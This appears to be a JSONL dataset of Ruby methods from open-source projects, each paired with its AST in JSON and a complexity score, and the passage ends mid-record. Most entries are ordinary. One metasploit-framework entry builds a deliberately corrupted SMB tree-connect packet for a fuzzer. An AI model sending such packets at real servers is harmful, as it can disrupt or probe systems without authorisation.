{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/test.rb","start_line":31,"raw_source":"def self.dummy_logger\n      dl_opts = {log_level: ServerEngine::DaemonLogger::INFO}\n      logdev = Fluent::Test::DummyLogDevice.new\n      logger = ServerEngine::DaemonLogger.new(logdev, dl_opts)\n      Fluent::Log.new(logger)\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dummy_logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dl_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"INFO\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"logdev\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"DummyLogDevice\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logdev\"]},{\"type\":\"lvar\",\"children\":[\"dl_opts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]}]}]}","id":"c4ca5b33-8861-4182-bb8d-a52566ba03fb"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/pretty_text_spec.rb","start_line":1965,"raw_source":"def expect_cooked_match(raw, expected_cooked)\n      expect(PrettyText.cook(raw)).to eq(expected_cooked)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_cooked_match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"expected_cooked\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"cook\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"expected_cooked\"]}]}]}]}","id":"4e513a7a-c996-4e53-a558-03e7cc43b621"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":382,"raw_source":"def mac_addresses\n    hardware.nil? ? [] : hardware.mac_addresses\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"mac_addresses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hardware\"]},\"nil?\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hardware\"]},\"mac_addresses\"]}]}]}","id":"d47e1e5b-1a16-414e-9620-17c37db69d97"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_condition.rb","start_line":206,"raw_source":"def branches_have_method?(node)\n          return false unless node.if_branch && node.else_branch\n\n          single_argument_method?(node.if_branch) && single_argument_method?(node.else_branch) &&\n            same_method?(node.if_branch, node.else_branch)\n        end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"branches_have_method?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"single_argument_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]}]},{\"type\":\"send\",\"children\":[null,\"single_argument_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]}]}]},{\"type\":\"send\",\"children\":[null,\"same_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]}]}]}]}]}","id":"76c4c662-2854-48e1-97b7-73c6f0fe5de1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects_helper.rb","start_line":889,"raw_source":"def project_merge_requests(project)\n    MergeRequestsFinder.new(current_user, project_id: project.id).execute\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project_merge_requests\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]}]}]},\"execute\"]}]}","id":"d880a113-e5bf-4523-a402-394e2654688e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb","start_line":101,"raw_source":"def make_smb_tree\n    share = datastore['SMBTREE']\n    pass = ''\n    data = [ pass, share, '?????' ].collect { |a| a + \"\\x00\" }.join('')\n\n    pkt = Rex::Proto::SMB::Constants::SMB_TREE_CONN_PKT.make_struct\n    simple.client.smb_defaults(pkt['Payload']['SMB'])\n\n    pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TREE_CONNECT_ANDX\n    pkt['Payload']['SMB'].v['Flags1'] = 0x18\n    pkt['Payload']['SMB'].v['Flags2'] = 0x2001\n    pkt['Payload']['SMB'].v['WordCount'] = 4\n    pkt['Payload'].v['AndX'] = 255\n    pkt['Payload'].v['PasswordLen'] = pass.length + 1\n    pkt['Payload'].v['Capabilities'] = 64\n    pkt['Payload'].v['Payload'] = data\n    pkt.to_s\n  end","complexity_score":54.05,"ast_json":"{\"type\":\"def\",\"children\":[\"make_smb_tree\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"share\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBTREE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},{\"type\":\"lvar\",\"children\":[\"share\"]},{\"type\":\"str\",\"children\":[\"?????\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Constants\"]},\"SMB_TREE_CONN_PKT\"]},\"make_struct\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"client\"]},\"smb_defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Command\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Constants\"]},\"SMB_COM_TREE_CONNECT_ANDX\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Flags1\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Flags2\"]},{\"type\":\"int\",\"children\":[8193]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"WordCount\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"AndX\"]},{\"type\":\"int\",\"children\":[255]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PasswordLen\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Capabilities\"]},{\"type\":\"int\",\"children\":[64]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"to_s\"]}]}]}","id":"d2a4178d-e859-4ad7-a3a5-22675d81b808"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/command_shell.rb","start_line":805,"raw_source":"def _interact\n    framework.events.on_session_interact(self)\n    framework.history_manager.with_context(name: self.type.to_sym) {\n      _interact_stream\n    }\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"_interact\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"on_session_interact\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"history_manager\"]},\"with_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"type\"]},\"to_sym\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"_interact_stream\"]}]}]}]}","id":"9533ea26-f142-4afb-bf8b-ec1bb0f2e8ac"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_site_settings.rb","start_line":113,"raw_source":"def type_in_search(input)\n        find(\"input#setting-filter\").send_keys(input)\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"type_in_search\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"input#setting-filter\"]}]},\"send_keys\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"c0f52af5-5018-40ac-9d8a-4493879a7b23"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_condition.rb","start_line":77,"raw_source":"def on_if(node)\n          return if node.modifier_form? || node.elsif_conditional? || !offense?(node)\n\n          message = message(node)\n\n          add_offense(range_of_offense(node), message: message) do |corrector|\n            autocorrect(corrector, node)\n          end\n        end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"modifier_form?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"elsif_conditional?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"offense?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[null,\"range_of_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"ce5d0228-09a6-4b3b-bfd0-2e1a66d836f8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/log_subscriber_test.rb","start_line":89,"raw_source":"def test_event_attributes\n    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber\n    instrument \"some_event.my_log_subscriber\" do\n      [] # Make an allocation\n    end\n    wait\n    event = @log_subscriber.event\n    if defined?(JRUBY_VERSION)\n      assert_equal 0, event.cpu_time\n      assert_equal 0, event.allocations\n    else\n      assert_operator event.cpu_time, :>, 0\n      assert_operator event.allocations, :>, 0\n    end\n    assert_operator event.duration, :>, 0\n    assert_operator event.idle_time, :>=, 0\n  end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_event_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"LogSubscriber\"]},\"attach_to\",{\"type\":\"sym\",\"children\":[\"my_log_subscriber\"]},{\"type\":\"ivar\",\"children\":[\"@log_subscriber\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"str\",\"children\":[\"some_event.my_log_subscriber\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"wait\"]},{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log_subscriber\"]},\"event\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JRUBY_VERSION\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"cpu_time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"allocations\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"cpu_time\"]},{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"allocations\"]},{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"duration\"]},{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"idle_time\"]},{\"type\":\"sym\",\"children\":[\">=\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"b2b3903f-3122-417c-b737-41c452202fc2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/commit_service.rb","start_line":288,"raw_source":"def list_commits(revisions, params = {})\n        # We want to include the commit ref in the revisions if present.\n        revisions = Array.wrap(params[:ref].presence || []) + Array.wrap(revisions)\n\n        request = Gitaly::ListCommitsRequest.new(\n          repository: @gitaly_repo,\n          revisions: revisions,\n          reverse: !!params[:reverse],\n          ignore_case: params[:ignore_case],\n          pagination_params: params[:pagination_params]\n        )\n\n        request.order = params[:order].upcase if params[:order].present?\n        request.skip = params[:skip].to_i if params[:skip].present?\n\n        if params[:commit_message_patterns]\n          request.commit_message_patterns += Array.wrap(params[:commit_message_patterns])\n        end\n\n        request.author = encode_binary(params[:author]) if params[:author]\n        request.before = GitalyClient.timestamp(params[:before]) if params[:before]\n        request.after = GitalyClient.timestamp(params[:after]) if params[:after]\n\n        response = gitaly_client_call(\n          @repository.storage,\n          :commit_service,\n          :list_commits,\n          request,\n          timeout: GitalyClient.medium_timeout\n        )\n\n        consume_commits_response(response)\n      end","complexity_score":58.3,"ast_json":"{\"type\":\"def\",\"children\":[\"list_commits\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"revisions\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"revisions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ref\"]}]},\"presence\"]},{\"type\":\"array\",\"children\":[]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"revisions\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"ListCommitsRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"revisions\"]},{\"type\":\"lvar\",\"children\":[\"revisions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reverse\"]}]},\"!\"]},\"!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore_case\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignore_case\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pagination_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pagination_params\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"order=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"upcase\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"skip=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip\"]}]},\"to_i\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"commit_message_patterns\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"commit_message_patterns\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"commit_message_patterns\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"author\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"author=\",{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"author\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"before=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"after=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"commit_service\"]},{\"type\":\"sym\",\"children\":[\"list_commits\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"medium_timeout\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"consume_commits_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"a3b18a25-143f-46af-9dad-cb2a5c38b0c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/kas_helpers.rb","start_line":16,"raw_source":"def gitaly_repository(project)\n        project.repository.gitaly_repository.to_h\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"gitaly_repository\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository\"]},\"gitaly_repository\"]},\"to_h\"]}]}","id":"16e91099-26b7-4261-8b7a-e10b2526c878"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/peripherals/service_result_refinements.rb","start_line":82,"raw_source":"def result_and\n          return errors if failure?\n\n          yield result\n        end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"result_and\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failure?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]}]},null]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"result\"]}]}]}]}","id":"71004368-2322-4ca4-a164-ab56fc1f9fc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/stack_prof.rb","start_line":38,"raw_source":"def self.on_worker_start\n      log_event('listening for SIGUSR2 signal')\n\n      # create a pipe in order to propagate signal out of the signal handler\n      # see also: https://cr.yp.to/docs/selfpipe.html\n      read, write = IO.pipe\n\n      # create a separate thread that polls for signals on the pipe.\n      #\n      # this way we do not execute in signal handler context, which\n      # lifts restrictions and also serializes the calls in a thread-safe\n      # manner.\n      #\n      # it's very similar to a goroutine and channel design.\n      #\n      # another nice benefit of this method is that we can timeout the\n      # IO.wait_readable call, allowing the profile to automatically stop after\n      # a given interval (by default 30 seconds), avoiding unbounded memory\n      # growth from a profile that was started and never stopped.\n      t = Thread.new do\n        timeout_s = ENV['STACKPROF_TIMEOUT_S']&.to_i || DEFAULT_TIMEOUT_SEC\n        current_timeout_s = nil\n        loop do\n          read.getbyte if 